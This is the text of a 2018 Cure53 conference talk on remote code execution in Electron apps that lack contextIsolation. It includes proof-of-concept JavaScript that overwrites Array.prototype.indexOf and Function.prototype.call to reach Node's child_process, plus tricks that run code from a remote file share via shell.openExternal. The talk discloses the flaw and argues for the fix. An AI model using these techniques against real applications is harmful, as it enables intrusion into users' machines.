Slide 1

Slide 1 text

Masato Kinugawa CureCon 08/2018

Slide 2

Slide 2 text

About me • Masato Kinugawa (@kinugawamasato) • I live in Japan • I Joined Cure53 in 01/2016 • I like web, browser, JavaScript and XSS

Slide 3

Slide 3 text

Introduction • In 2016, we audited one Electron based application • Found RCE, ... but noticed the root cause was in Electron itself • Reported to Electron Team and it was fixed by adding the option called "contextIsolation" • I'd like to talk about it!

Slide 4

Slide 4 text

Outline 1. Basics of Electron 2. Details of Context Isolation 3. Abusing the lack of Context Isolation

Slide 5

Slide 5 text

Basics of Electron 1

Slide 6

Slide 6 text

Electron? • Framework for creating desktop applications with HTML, CSS and JavaScript • Developed by GitHub

Slide 7

Slide 7 text

https://electronjs.org/#apps

Slide 8

Slide 8 text

Basics: Process • Electron has two process types • Main Process • Renderer Process

Slide 9

Slide 9 text

Can create Renderer Process Basics: Main Process main.js const {BrowserWindow} = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);

Slide 10

Slide 10 text

Basics: Renderer Process It's a browser window index.html TEST

Hello Electron!

body{ background:url('island.png') }

Slide 11

Slide 11 text

Basics: webPreferences • Settings of renderer process's features • Set it in main process, like this: new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });

Slide 12

Slide 12 text

Basics: webPreferences • Important 3 features in this talk • nodeIntegration • preload • contextIsolation

Slide 13

Slide 13 text

Basics: nodeIntegration Decide if Node APIs are enabled in renderer let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } }); win.loadURL(`[...] index.html`); main.js require('child_process') .exec('calc') index.html This means: nodeIntegration + XSS in renderer = RCE

Slide 14

Slide 14 text

Basics: Preload Script • Loaded before other scripts in the renderer are loaded • Has unlimited access to Node APIs new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js

Slide 15

Slide 15 text

Basics: Preload Script /* preload.js */ typeof require === 'function';//true window.runCalc = function(){ require('child_process').exec('calc') }; typeof require === 'undefined';//true runCalc(); ➡Can export necessary node-features to pages Renderer Process

Slide 16

Slide 16 text

Are these settings RCE-safe enough? • nodeIntegration : false • Necessary features are exported via preload • Also assume that the argument is properly validated to prevent RCE ➡No RCE even if XSS exists?

Slide 17

Slide 17 text

Still not safe enough Developers should use "contextIsolation" option also! new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); What is that? ➡

Slide 18

Slide 18 text

Details of Context Isolation 2

Slide 19

Slide 19 text

contextIsolation • Added in v1.4.15 (Released on Jan 20, 2017) • The default is false • Official doc still says it's an experimental feature but we really need it to remove the possibility of RCE

Slide 20

Slide 20 text

contextIsolation's effect • Separates JavaScript context between the page's scripts and preload scripts • Separetes JavaScript context between the page's scripts and Electron's internal code

Slide 21

Slide 21 text

contextIsolation Electron uses the same technology as Chromium's Content Scripts to enable this behavior. https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc s/tutorial/security.md#3-enable-context-isolation-for-remote-content “ Let's compare the behavior! ➡

Slide 22

Slide 22 text

WebExtension's content scripts /* Content Script */ window.abc = 123; /* https://example.com */ alert(window.abc)//undefined Isolated World

Slide 23

Slide 23 text

Electron's preload scripts(default) /* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//123 No Isolated World

Slide 24

Slide 24 text

Electron(contextIsolation:true) /* preload.js */ window.abc = 123; /* index.html */ alert(window.abc)//undefined Isolated World

Slide 25

Slide 25 text

Communicate under contextIsolation:true /* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') } } /* index.html */ postMessage('runCalc','*') Isolated World Use postMessage, like WebExtension's content script

Slide 26

Slide 26 text

Let's see... and? • The lack of isolated world is useful for developers, no? • because we can communicate directly... But it is useful for attackers also?! ➡

Slide 27

Slide 27 text

Abusing the lack of Context Isolation 3

Slide 28

Slide 28 text

Basic idea to RCE An Attacker can: 1. Execute arbitrary JavaScript in renderer somehow(e.g. XSS or navigation to external sites) 2. Overwrite the built-in method which is used in preload or Electron internal code to own function 3. Trigger the use of overwritten function 4. Something happens => Achieve RCE

Slide 29

Slide 29 text

Attack Examples #1: Attacking preload scripts #2: Attacking Electron internal code

Slide 30

Slide 30 text

#1: Attacking preload scripts /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); This code opens only http(s): links with default browser

Slide 31

Slide 31 text

shell.openExternal ? Opens the given URL using the desktop's default way const {shell} = require('electron'); /* Open with default browser */ shell.openExternal('https://example.com/'); /* Open with default mail client */ shell.openExternal('mailto:[email protected]'); /* Execute exe file */ shell.openExternal('file:///C:/windows/system32/calc.exe');

Slide 32

Slide 32 text

#1: Attacking preload scripts /* preload.js */ const {shell} = require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); We want to pass arbitrary URL to shell.openExternal Let's overwrite this!

Slide 33

Slide 33 text

#1: Attacking preload scripts Array.prototype.indexOf = function(){ return 1337; } An attacker injects this JavaScript code:

Slide 34

Slide 34 text

#1: Attacking preload scripts if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } Now this code has ...

Slide 35

Slide 35 text

#1: Attacking preload scripts if (1337 !== -1) { shell.openExternal(link.href); } the same meaning as the following code!

Slide 36

Slide 36 text

#1: Attacking preload scripts Array.prototype.indexOf=function(){ return 1337; } CLICK Click Now all links are opened by shell.openExternal if (1337 !== -1) { shell.openExternal(link.href); }

Slide 37

Slide 37 text

BTW: Is shell.openExternal really exploitable? • To abuse this, the malicious program is placed in a known path • We can't pass any arguments Do we have any ways? ➡

Slide 38

Slide 38 text

How about file server? const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe"); Shows warning dialog. Hmm...

Slide 39

Slide 39 text

File server + .SettingContent-ms file const { shell } = require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • Matt Nelson found that ".SettingContent-ms" file can run shell command without warning dialog The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Works!

Slide 40

Slide 40 text

Other tricks • File server + .jar file (Java needed) • Java does not respect ADS • File server + mscorsvw.exe (Found by Alex Inführ) InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html

Slide 41

Slide 41 text

#2: Attacking Electron internal code • A part of the Electron itself is implemented by using Node.js code • The overwritten built-in method is used here as well • By triggering the use of overwritten method in internal code, can get access to node APIs from the argument

Slide 42

Slide 42 text

#2: Attacking Electron internal code // Clean cache on quit. process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d 3ba4c5/lib/common/asar.js#L30-L36 "exit" event listener is always set by the internal code when the page loading is started. This event is emitted just before navigation

Slide 43

Slide 43 text

#2: Attacking Electron internal code EventEmitter.prototype.emit = function emit(type) { [...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; if the "exit" event is emitted, EventEmitter.prototype.emit is called and it executes "emitNone" function https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231 Note: Here is inside require('events') bundled in Node.js

Slide 44

Slide 44 text

#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113 Then, it goes here

Slide 45

Slide 45 text

#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } "self" is Node's process object

Slide 46

Slide 46 text

#2: Attacking Electron internal code process.mainModule.require The process object has a reference to "require" function

Slide 47

Slide 47 text

#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } So, let's overwrite this "call" and get access to process object

Slide 48

Slide 48 text

#2: Attacking Electron internal code Overwrite Function.prototype.call, like this: Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } location.reload();// Trigger the "exit" event

Slide 49

Slide 49 text

#2: Attacking Electron internal code function emitNone(handler, isFn, self) { if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } calc is launched via overwritten "call"!

Slide 50

Slide 50 text

Attack Routes Attack route's examples: • XSS • Navigation to arbitrary remote sites • MitM Basically arbitrary JavaScript execution in the renderer + no "contextIsolation" mean game over.

Slide 51

Slide 51 text

Attack Routes(2) • Drag & Drop • The window is a drop-zone by default, like general browsers

Slide 52

Slide 52 text

Attack Routes(3-1) •Middle-click the links • Electron opens it in the new window by default

Slide 53

Slide 53 text

Attack Routes(3-2) • Handling middle-click is often forgotten by app • "click" event is not emitted /* preload.js */ document.addEventListener('click', (e) => { /* It will not come here */ }, false);

Slide 54

Slide 54 text

Conclusion • We should know RCE happens in default Electron even if "nodeIntegration" is not enabled • "contextIsolation" prevents RCE with overwritten built-in method. We have to use it explicitly because currently the default is false new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!

Slide 55

Slide 55 text

Thanks! • Thanks for reviewing, Mario Heiderich! • Thanks for the opportunity to give a presentation, Cure53 members!